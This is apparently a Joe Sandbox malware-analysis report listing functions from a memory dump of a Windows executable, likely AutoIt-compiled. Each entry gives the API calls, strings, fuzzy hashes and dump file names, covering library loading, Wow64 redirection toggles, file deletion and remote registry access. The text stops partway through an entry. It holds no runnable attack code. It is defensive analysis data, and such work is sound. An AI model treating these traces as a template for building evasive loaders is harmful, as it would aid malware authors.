Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 87a1bd0cfe5713163f5575140f055fa9918effbd858842bf0f1aa01d466beb9c
Instruction ID: d817ce228236ce73a9a24fa1f4cdbffc72a35832acec63fc090f690cea4f7c54
Opcode Fuzzy Hash: 87a1bd0cfe5713163f5575140f055fa9918effbd858842bf0f1aa01d466beb9c
Instruction Fuzzy Hash: DC717870A0065ADFCB18DF95C488A9EBBF1BF48310F048499E856AB3A2D735ED41CF91

Function 0064719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00647206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 0064723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 0064724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 006472CF

Strings

DllGetClassObject, xrefs: 00647242

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: 39b3c6ac5d7c04470c7b1965995d815fc24d2ce4a4bee47f9717bce2d1ac5cde
Instruction ID: 0ed9790c7d2c172f704b8edeaa947ec7f96c7926b4bb0b36c4aa727c87168d61
Opcode Fuzzy Hash: 39b3c6ac5d7c04470c7b1965995d815fc24d2ce4a4bee47f9717bce2d1ac5cde
Instruction Fuzzy Hash: 0B414C71A04204EFDB55CF64C884A9B7BAAEF45710F1580ADFD099F20AD7B1DE45CBA0

Function 00673D7C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00673E35
IsMenu.USER32(?), ref: 00673E4A
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00673E92
DrawMenuBar.USER32 ref: 00673EA5

Strings

0, xrefs: 00673D89

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID: 0
API String ID: 3076010158-4108050209
Opcode ID: 5fce3f182b463128c111c96bbba0c90d01699575bfec9171b8011180a244236a
Instruction ID: f1c6c5072db198271e3b9b46c933af8cc25fc696cfe23875d67f85752f21af40
Opcode Fuzzy Hash: 5fce3f182b463128c111c96bbba0c90d01699575bfec9171b8011180a244236a
Instruction Fuzzy Hash: 9F415775A01219EFDB14DF50D884AEABBBAFF49360F04812AE909AB350D730AE51DF50

Function 00641DE2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 00643CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00643CCA

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00641E66
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00641E79
SendMessageW.USER32(?,00000189,?,00000000), ref: 00641EA9

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

Strings

ComboBox, xrefs: 00641DF0
ListBox, xrefs: 00641E25

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$_wcslen$ClassName
String ID: ComboBox$ListBox
API String ID: 2081771294-1403004172
Opcode ID: eb3016afad2762ba41e7852d810720ea9bd82a0bdf505cf83b2a083d9b5222d3
Instruction ID: 7ee8a6008c23e228965b5a1c7d4c227c35d14c7306c583771bb6d01069b8d548
Opcode Fuzzy Hash: eb3016afad2762ba41e7852d810720ea9bd82a0bdf505cf83b2a083d9b5222d3
Instruction Fuzzy Hash: B0212C75900105BEDB18AB65DC89CFF7BBAEF86360B10411DF855A72E1DB344D468620

Function 00672F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00672F8D
LoadLibraryW.KERNEL32(?), ref: 00672F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00672FA9
DestroyWindow.USER32(?), ref: 00672FB1

Strings

SysAnimate32, xrefs: 00672F68

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 5477791efc4bbeb9305142e2a70da74d5f65bb9e314987557e1cf5f32bbfbc19
Instruction ID: 7d05d3faaa175eae39ec956376ddce6df342116b9c3cd3293193403e74c8046f
Opcode Fuzzy Hash: 5477791efc4bbeb9305142e2a70da74d5f65bb9e314987557e1cf5f32bbfbc19
Instruction Fuzzy Hash: CD21FD7224020AEBEF108F64DCA0EBB37BEEB59764F108218F958D2290D335DC819760

Function 00604D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00604D1E,006128E9,?,00604CBE,006128E9,006A88B8,0000000C,00604E15,006128E9,00000002), ref: 00604D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00604DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00604D1E,006128E9,?,00604CBE,006128E9,006A88B8,0000000C,00604E15,006128E9,00000002,00000000), ref: 00604DC3

Strings

mscoree.dll, xrefs: 00604D86
CorExitProcess, xrefs: 00604D98

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 8fc4daa757bad60eb5476f508b53473c93a0d2941a81f750a962385ab4f4745a
Instruction ID: 5d2bac5b542e47d72302811542858c339039a5c2bf55d376b3f45022c7b59841
Opcode Fuzzy Hash: 8fc4daa757bad60eb5476f508b53473c93a0d2941a81f750a962385ab4f4745a
Instruction Fuzzy Hash: E1F04474640208BBEB195F94DC49BDEBFB6EF44761F440168F909A2290CF715984CB91

Function 005E4E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,005E4EDD,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 005E4EAE
FreeLibrary.KERNEL32(00000000,?,?,005E4EDD,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4EC0

Strings

Wow64DisableWow64FsRedirection, xrefs: 005E4EA8
kernel32.dll, xrefs: 005E4E94

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 1a506350987cc2981246c7f2eeaa6712a81060b2026103dfa84cf60e06c052a0
Instruction ID: c73afc908fb1ea47db6649ab1044412aed589abaa85ed36b92e3e2c1706b91e6
Opcode Fuzzy Hash: 1a506350987cc2981246c7f2eeaa6712a81060b2026103dfa84cf60e06c052a0
Instruction Fuzzy Hash: 72E0CD35E015725BD3351B266C18B5F6A5EBFC1F72B050129FC08D2201DB60CD4589A1

Function 005E4E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00623CDE,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 005E4E74
FreeLibrary.KERNEL32(00000000,?,?,00623CDE,?,006B1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 005E4E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 005E4E6E
kernel32.dll, xrefs: 005E4E5B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: ff054209f6094ab5b7c0aad0e56c635899db1a535dbce0c12ad410ca5da059d7
Instruction ID: 2236bcee8219522351d8e1d4b612c381c0eb45bde7cabe0840966596241eeb75
Opcode Fuzzy Hash: ff054209f6094ab5b7c0aad0e56c635899db1a535dbce0c12ad410ca5da059d7
Instruction Fuzzy Hash: F1D0C23190267157C72A1B266C08D8F6E1EBF89F3134A0168B808A2110CF20CD41C9D1

Function 00652947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00652C05
DeleteFileW.KERNEL32(?), ref: 00652C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00652C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00652CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00652CC0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: ff9fdafb8a0ccb2921c44a948efbf908959857e4e8dff7d793811b4d1ed2828a
Instruction ID: 83da052ce26a4be776da7faaa9458099bccbcbf8025bba6e4cfe9291fc169ac1
Opcode Fuzzy Hash: ff9fdafb8a0ccb2921c44a948efbf908959857e4e8dff7d793811b4d1ed2828a
Instruction Fuzzy Hash: 9CB1717190011AABDF55DBA4CC99EDF7B7EEF49354F0040AAFA09E6141EB309A488F61

Function 0066A387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0066A427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 0066A435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 0066A468
CloseHandle.KERNEL32(?), ref: 0066A63D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 392ab6d0af14e6c32d704278a4ad94ffb33b55cd6d4688f6b2ed5e5ad24d005c
Instruction ID: 4f5aec0a4ac753b4e42201d502efa598227843e89ea49b3b70b886d51b47b076
Opcode Fuzzy Hash: 392ab6d0af14e6c32d704278a4ad94ffb33b55cd6d4688f6b2ed5e5ad24d005c
Instruction Fuzzy Hash: 45A170716043019FD724DF25C88AB2ABBE6AF84714F14885DF5AA9B3D2D770EC418B92

Function 0061BB27 Relevance: 7.7, APIs: 5, Instructions: 171timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00683700), ref: 0061BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,006B121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0061BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,006B1270,000000FF,?,0000003F,00000000,?), ref: 0061BC36
_free.LIBCMT ref: 0061BB7F

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 0061BD4B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharMultiWide_free$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 1286116820-0
Opcode ID: 1109429f5a063a48787ba5370705a18d572b3b4e055847e70bccfc4f48d48877
Instruction ID: e35e107f0a8bc4c820a9e0dd1dc02d70d32cf11091fb0c18b75f6cdafda6fb38
Opcode Fuzzy Hash: 1109429f5a063a48787ba5370705a18d572b3b4e055847e70bccfc4f48d48877
Instruction Fuzzy Hash: BB512971900209AFCB14EF65DC919EEB7BBEF41320F58126EE424D7291EB309EC18B94

Function 0064E3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0064DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,0064CF22,?), ref: 0064DDFD

Part of subcall function 0064DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,0064CF22,?), ref: 0064DE16

Part of subcall function 0064E199: GetFileAttributesW.KERNEL32(?,0064CF95), ref: 0064E19A

lstrcmpiW.KERNEL32(?,?), ref: 0064E473
MoveFileW.KERNEL32(?,?), ref: 0064E4AC
_wcslen.LIBCMT ref: 0064E5EB
_wcslen.LIBCMT ref: 0064E603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 0064E650

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 54960e5933d03f4d8c85c5ae1a8c19446075419586487e6268c04279f0ad9ac5
Instruction ID: 12f7fff8a19945f143d79dd3a3d692b61eb662c2fa5d3b101eacdf66d04c440b
Opcode Fuzzy Hash: 54960e5933d03f4d8c85c5ae1a8c19446075419586487e6268c04279f0ad9ac5
Instruction Fuzzy Hash: B65197B24083859BC778DB90DC819DF73DEAF84340F00492EF589D3191EF75A688876A

Function 0066B9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 0066C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0066B6AE,?,?), ref: 0066C9B5
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066C9F1
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA68
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0066BAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0066BB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 0066BB63
RegCloseKey.ADVAPI32(?,?), ref: 0066BBA6
RegCloseKey.ADVAPI32(00000000), ref: 0066BBB3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: c75781639a479e74141392e1e395ac5f9e0868f0d96cf1d76895613cdf288e2e
Instruction ID: d5c731431f95d27be3fb80c39715d998c4ef3151c837a82b0f400fa37556e4d7
Opcode Fuzzy Hash: c75781639a479e74141392e1e395ac5f9e0868f0d96cf1d76895613cdf288e2e
Instruction Fuzzy Hash: 0C61C531108241EFD318DF54C494E6ABBE6FF84318F54955CF4998B2A2DB31ED85CB92

Function 00648BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00648BCD
VariantClear.OLEAUT32 ref: 00648C3E
VariantClear.OLEAUT32 ref: 00648C9D
VariantClear.OLEAUT32(?), ref: 00648D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00648D3B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 2414289cd9e1039053d09f6259131880b89d5fd830a101e5f5e72543c7739c10
Instruction ID: 996e06b2ff584ceab043764fae696bcfd628eebce996f167ae3708ba674179e2
Opcode Fuzzy Hash: 2414289cd9e1039053d09f6259131880b89d5fd830a101e5f5e72543c7739c10
Instruction Fuzzy Hash: 665168B5A01219EFCB14CF68C884AAAB7FAFF89314B158559E909DB354E730E911CF90

Function 00658AFB Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00658BAE
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00658BDA
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00658C32
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00658C57
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00658C5F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: b1d587efe3564c8579c067799ca52c1d5687a673f0c0165995f5fb96a7e7f66b
Instruction ID: 652e32b615f85a2c0152e1f58bfe119bc39dba1738ee784e8f48bf0025bc8c25
Opcode Fuzzy Hash: b1d587efe3564c8579c067799ca52c1d5687a673f0c0165995f5fb96a7e7f66b
Instruction Fuzzy Hash: CF516C35A006199FCB04DF65C885EADBBF6FF48314F088059E849AB362DB35ED55CB90

Function 00668EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00668F40
GetProcAddress.KERNEL32(00000000,?), ref: 00668FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 00668FEC
GetProcAddress.KERNEL32(00000000,?), ref: 00669032
FreeLibrary.KERNEL32(00000000), ref: 00669052

Part of subcall function 005FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00651043,?,7644E610), ref: 005FF6E6
Part of subcall function 005FF6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0063FA64,00000000,00000000,?,?,00651043,?,7644E610,?,0063FA64), ref: 005FF70D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

